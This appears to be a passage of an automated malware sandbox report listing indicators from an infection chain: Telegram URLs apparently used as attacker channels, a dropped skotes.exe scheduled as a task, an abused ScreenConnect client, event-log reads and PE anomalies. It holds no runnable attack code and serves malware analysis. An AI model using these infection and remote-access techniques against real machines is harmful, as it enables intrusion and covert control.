Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.0000000000811000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04aeln
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04aelt
Source: ScreenConnect.WindowsClient.exe, 00000022.00000002.3565111200.0000000002FAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/virus101Screenconnect
Source: ScreenConnect.ClientService.exe, 0000001F.00000002.3572647696.0000000001720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/virus101ScreenconnectLR
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.2976970879.0000000000845000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.000000000044D000.00000004.00000001.01000000.00000013.sdmp	String found in binary or memory: https://web.telegram.org
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3579351285.0000000003C98000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3286100513.0000000001005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 54ad0685cd.exe, 00000020.00000003.3227766231.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3201668224.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3201700814.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 54ad0685cd.exe, 00000020.00000003.3201700814.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3201668224.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3201700814.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3201936123.0000000000FDD000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3202194117.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3568216862.00000000039EF000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 54ad0685cd.exe, 00000020.00000003.3285003363.000000000583A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 54ad0685cd.exe, 00000020.00000003.3285003363.000000000583A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 54ad0685cd.exe, 00000020.00000003.3285311500.0000000005B1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 54ad0685cd.exe, 00000020.00000003.3285311500.0000000005B1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 54ad0685cd.exe, 00000020.00000003.3285311500.0000000005B1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3579351285.0000000003C98000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3286100513.0000000001005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50163
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50171
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.6:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.6:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.6:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.6:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.191.168:443 -> 192.168.2.6:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.6:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.6:50163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.6:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.6:50183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.6:50184 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect

Reads the System eventlog

Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 3d9e1171bb.exe.6.dr	Static PE information: section name:
Source: 3d9e1171bb.exe.6.dr	Static PE information: section name: .idata
Source: 3d9e1171bb.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 54ad0685cd.exe.6.dr	Static PE information: section name:
Source: 54ad0685cd.exe.6.dr	Static PE information: section name: .idata
Source: 54ad0685cd.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: 192facf4de.exe.6.dr	Static PE information: section name:
Source: 192facf4de.exe.6.dr	Static PE information: section name: .idata
Source: 192facf4de.exe.6.dr	Static PE information: section name:

PE file has a writeable .text section

Source: 20eec459fe6c4c019b42190414a26a1f.exe.8.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_007BCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_007BCB97

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\3ca64e.msi
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA9C9.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA9E9.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIAD07.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\3ca650.msi
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\3ca650.msi
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}\DefaultIcon
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Installer\wix{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}.SchedServiceConfig.rmi
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (98a59bd0eed9222b)
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (98a59bd0eed9222b)\bq5ldq2a.tmp
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (98a59bd0eed9222b)\bq5ldq2a.newcfg

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSIA9E9.tmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B878BB	0_2_00B878BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B88860	0_2_00B88860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B87049	0_2_00B87049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B831A8	0_2_00B831A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B44B30	0_2_00B44B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B44DE0	0_2_00B44DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B82D10	0_2_00B82D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B8779B	0_2_00B8779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B77F36	0_2_00B77F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007E8860	2_2_007E8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007E7049	2_2_007E7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007E78BB	2_2_007E78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007E31A8	2_2_007E31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007A4B30	2_2_007A4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007E2D10	2_2_007E2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007A4DE0	2_2_007A4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007D7F36	2_2_007D7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007E779B	2_2_007E779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007E8860	3_2_007E8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007E7049	3_2_007E7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007E78BB	3_2_007E78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007E31A8	3_2_007E31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007A4B30	3_2_007A4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007E2D10	3_2_007E2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007A4DE0	3_2_007A4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007D7F36	3_2_007D7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007E779B	3_2_007E779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007AE530	6_2_007AE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007C6192	6_2_007C6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007E8860	6_2_007E8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007A4B30	6_2_007A4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007E2D10	6_2_007E2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007A4DE0	6_2_007A4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007C0E13	6_2_007C0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007E7049	6_2_007E7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007E31A8	6_2_007E31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007C1602	6_2_007C1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007E779B	6_2_007E779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007E78BB	6_2_007E78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007C3DF1	6_2_007C3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007D7F36	6_2_007D7F36
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Code function: 8_2_02762E60	8_2_02762E60
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Code function: 8_2_02762EB7	8_2_02762EB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0479B490	10_2_0479B490
